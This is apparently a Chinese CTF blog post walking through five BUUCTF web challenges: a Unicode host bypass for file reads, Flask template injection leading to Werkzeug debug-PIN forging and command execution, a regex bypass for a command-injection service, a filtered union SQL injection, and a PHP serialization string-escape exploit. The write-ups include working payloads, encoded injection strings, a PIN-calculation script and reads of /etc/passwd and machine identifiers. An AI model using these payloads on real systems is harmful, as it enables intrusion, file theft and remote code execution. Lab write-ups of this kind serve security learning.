BUUCTF-WEB(61-65)

Muneyoshi發表於2024-06-04

[SUCTF 2019]Pythonginx

參考:[SUCTF 2019]Pythonginx 1_cve-2019-9636-CSDN部落格

[SUCTF 2019]Pythonginx - 春告鳥 - 部落格園 (cnblogs.com)

url中的unicode漏洞引發的域名安全問題 - 先知社群 (aliyun.com)

開啟看一下原始碼吧


@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"


    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host


    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

我們應該繞過前面兩個if,進入第三個if,然後去讀取檔案

然後就是利用了特殊字元去進行繞過,詳情可以看一下參考的連結、

需要構造一個特殊字元,師傅的指令碼里面也都有。

先檢視一下passwd的檔案

/getUrl?url=file://suctf.cℂ/../../../../../etc/passwd

image-20240603200304570

然後提示是nginx伺服器,我們檢視一下nginx伺服器的配置檔案,然後檢視到了flag檔案

/getUrl?url=file://suctf.cℂ/../../../../../usr/local/nginx/conf/nginx.conf

image-20240603200702023

/getUrl?url=file://suctf.cℂ/../../../../../usr/fffffflag

image-20240603200729419

[GYCTF2020]FlaskApp

參考:
[記一次Flask模板注入學習 GYCTF2020]FlaskApp - seven昔年 - 部落格園 (cnblogs.com)

一般看到都覺得是模板注入,因為她有base64解密頁面,那我們就在base64解密頁面搞

我們輸入payload,記得base64加密一下

{{7*7}}
e3s3Kjd9fQ==

這裡回顯了

image-20240603203125405

猜測可能是waf阻攔了,我們換一個

{{7+7}}
e3s3Kzd9fQ==

image-20240603203244867

回顯14,那就是flask的模板注入問題

然後我就想看一下基類下面的類,但是我發現沒回顯,我也不太清楚,ssti也是不太熟悉

{{''.__class__.__bases__[0].__subclasses__()}}
e3snJy5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKCl9fQ==

這裡沒有回顯我就開始參考師傅們的部落格了

hint裡發現

image-20240603210101701

這裡是構造了讀取檔案的payload

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvZXRjL3Bhc3N3ZCcpLnJlYWQoKX19

image-20240603205744053

然後的確可以讀取之後,不知道flag在哪,所以要透過獲取pin碼開啟python shell

可以先了解一下pin吧深入淺出Flask PIN - 蟻景網安實驗室 - SegmentFault 思否

關於ctf中flask算pin總結_ctf:flask-CSDN部落格

pin碼生成要六要素
1.username 在可以任意檔案讀的條件下讀 /etc/passwd進行猜測
2.modname 預設flask.app
3.appname 預設Flask
4.moddir flask庫下app.py的絕對路徑,可以透過報錯拿到,如傳參的時候給個不存在的變數
5.uuidnode mac地址的十進位制,任意檔案讀 /sys/class/net/eth0/address
6.machine_id 機器碼 這個待會細說,一般就生成pin碼不對就是這錯了
————————————————
原文連結:https://blog.csdn.net/qq_35782055/article/details/129126825

這裡username應該就是flaskweb

然後modname是flask.app

然後appname是Flask

接下來拿moddir,透過報錯注入得到,我們在解密頁面輸入不是base64加密的資料去解密,就會產生報錯

發生報錯後,發現了app.py的路徑

image-20240603210942460

/usr/local/lib/python3.7/site-packages/flask/app.py

然後讀取/sys/class/net/eth0/address

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}}
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvc3lzL2NsYXNzL25ldC9ldGgwL2FkZHJlc3MnKS5yZWFkKCl9fQ==

image-20240603211246811

得到uuidnode是 e2:32:31:55:37:09,轉為十進位制262220831274775

image-20240603211509274

現在就只差這個machineid,對於非docker機每一個機器都會有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系統沒有這兩個檔案,windows的id獲取跟linux也不同。

對於docker機則讀取/proc/self/cgroup:

我們獲取一下machineid

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/machine-id').read()}}
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvZXRjL21hY2hpbmUtaWQnKS5yZWFkKCl9fQ==

然後得到machineid是1408f836b0ca514d796cbf8960e45fa1

image-20240603213720821

開始使用計算pin的指令碼

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.7/site-packages/flask/app.py',
]

private_bits = [
    '262220831274775',
    '1408f836b0ca514d796cbf8960e45fa1'
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

算出的pin

111-678-665

然後在/console開啟控制檯輸入pin值,進入互動式,輸入

import os
os.popen('ls /').read()
os.popen('cat /this_is_the_flag.txt').read()

image-20240603214346814

得到flag

flag{7c2ab388-06a5-44e8-9a31-c5cf028ef033}

[FBCTF2019]RCEService

參考:

[buuctf-web FBCTF2019]RCEService - AW_SOLE - 部落格園 (cnblogs.com)

preg_match繞過方法總結 · HacKerQWQ's Studio

PHP利用PCRE回溯次數限制繞過某些安全限制 | 離別歌 (leavesongs.com)

開啟題目說是json格式,我們應該payload寫成json格式

image-20240603220702850

我們嘗試一下

{"cmd":"ls"}

程式碼的確執行成功

image-20240603221044892

然後這裡貼一下原始碼吧

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

他這裡是修改了環境變數了,修改至/home/rceservice/jail,所以只能使用絕對路徑使用cat命令

然後preg_match只會匹配第一行,我們可以繞過preg_match繞過簡單總結 - z2n3 - 部落格園 (cnblogs.com)

看一下目錄檔案

?cmd={%0A"cmd":"ls /home/rceservice"%0A}

image-20240603223053111

然後檢視flag

?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

image-20240603223123121

這邊還有佬用PCRE回溯限制,附上指令碼

import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"'+"a"*(1000000) + '"}'
res = requests.post("http://e54bd70b-4ae8-4a5c-acbc-3b334763dc38.node5.buuoj.cn:81/", data={"cmd":payload})
print(payload)
print(res.text)

image-20240603223736130

[WUSTCTF2020]顏值成績查詢

輸入

1

回顯100

image-20240604092947068

後面輸入

1 and 1=1

image-20240604093022269

後面發現是過濾了空格,我們用/**/測試一下

1/**/and/**/1=1

image-20240604093136479

然後

1/**/and/**/1=2

image-20240604093204192

然後判斷欄位數

1/**/order/**/by/**/3 // 回顯正常
1/**/order/**/by/**/4 // 回顯錯誤

所以欄位數為3,開始判斷一下回顯位置

-1/**/union/**/select/**/1,2,3

提示不存在,可能還有些被過濾了一些關鍵詞

image-20240604093736072

我們試試大小寫繞過

-1/**/Union/**/Select/**/1,2,3

image-20240604094107609

接下來爆資料庫名:

-1/**/Union/**/Select/**/1,2,database()

image-20240604094131464

爆表名:

-1/**/Union/**/Select/**/1,2,Group_concat(table_name)From/**/information_schema.tables/**/Where/**/table_schema='ctf'

image-20240604094313527

爆列名

-1/**/Union/**/Select/**/1,2,Group_concat(column_name)From/**/information_schema.columns/**/Where/**/table_schema='ctf'/**/and/**/table_name='flag'

image-20240604094730533

爆資料

-1/**/Union/**/Select/**/1,2,value/**/From/**/flag

image-20240604094820216

1 And Extractvalue(1,Concat(0x7e,(Select database()),0x7e))

[0CTF 2016]piapiapia

參考:

[0CTF 2016]piapiapia WP(詳細)_[0ctf 2016]piapiapia wp-CSDN部落格

[BUUCTF-WEB 【0CTF 2016】piapiapia 1_0ctf 2016]piapiapia 1-CSDN部落格

先嚐試了sql注入,都失敗了

沒思路了掃一掃吧,我這邊什麼都沒掃到,根據wp是掃到了

config.php index.php register.php

後面有發現是www.zip,原始碼洩露

config.php

image-20240604101918279

profile.phpimage-20240604101950489

update.phpimage-20240604102027457

class.php

image-20240604102140050

開始梳理可能存在漏洞的地方

在profile.php發現file_get_contents,可以進行檔案讀取

image-20240604102800444

那profile又是哪裡來的呢,他是有class.php裡user類的show_profile的這個方法

image-20240604102835849

image-20240604103018809

這個方法先呼叫了user類的父類mysql類裡面的filter類

image-20240604103250702

這裡是替換字串中的單引號和反斜槓為下劃線 ,並且替換多個字串為hacker。
implode函式是表示把陣列拼接起來,拼接符是 “|”

之後又呼叫了mysql類裡面的select方法

image-20240604103434274

資料是從資料庫的表出來的,看看哪裡進行插入資料,在mysql類裡面的update方法

image-20240604103805912

然後user類發現了這個方法的呼叫

image-20240604103900936

接下來再看誰呼叫了user類裡面的update_profile這個方法,在update.php找到

image-20240604104105451

同時也看出來profile的值都有post賦值而來

這裡開始分析,怎麼利用漏洞

我們可以看到先判斷了photo的大小,然後進行了md5加密,太難利用了

image-20240604104450945

我們再看一下nickname這個引數

image-20240604104924496

又在update.php有一個正則限制

image-20240604105647835

然後就用陣列進行一個繞過

但是陣列繞過我,我們需要新增上一個}

nickname[]=where";}s:5:"photo";s:10:"config.php";}

img

這個時候,我們的nickname[]陣列實際長度是39位,除了where,多出來了34位,所以我們需要用where構造34次,來補一下

最後的payload

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

分析完畢後,我們去註冊頁面創一個號

image-20240604120754090

然後登陸進去,上傳的時候抓包

image-20240604120930007

修改一下

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

image-20240604121215648

然後會有個連結,點選,檢視原始碼,有一堆base64加密的資料

image-20240604121413037

我們拿去解密,得到flag

image-20240604121421675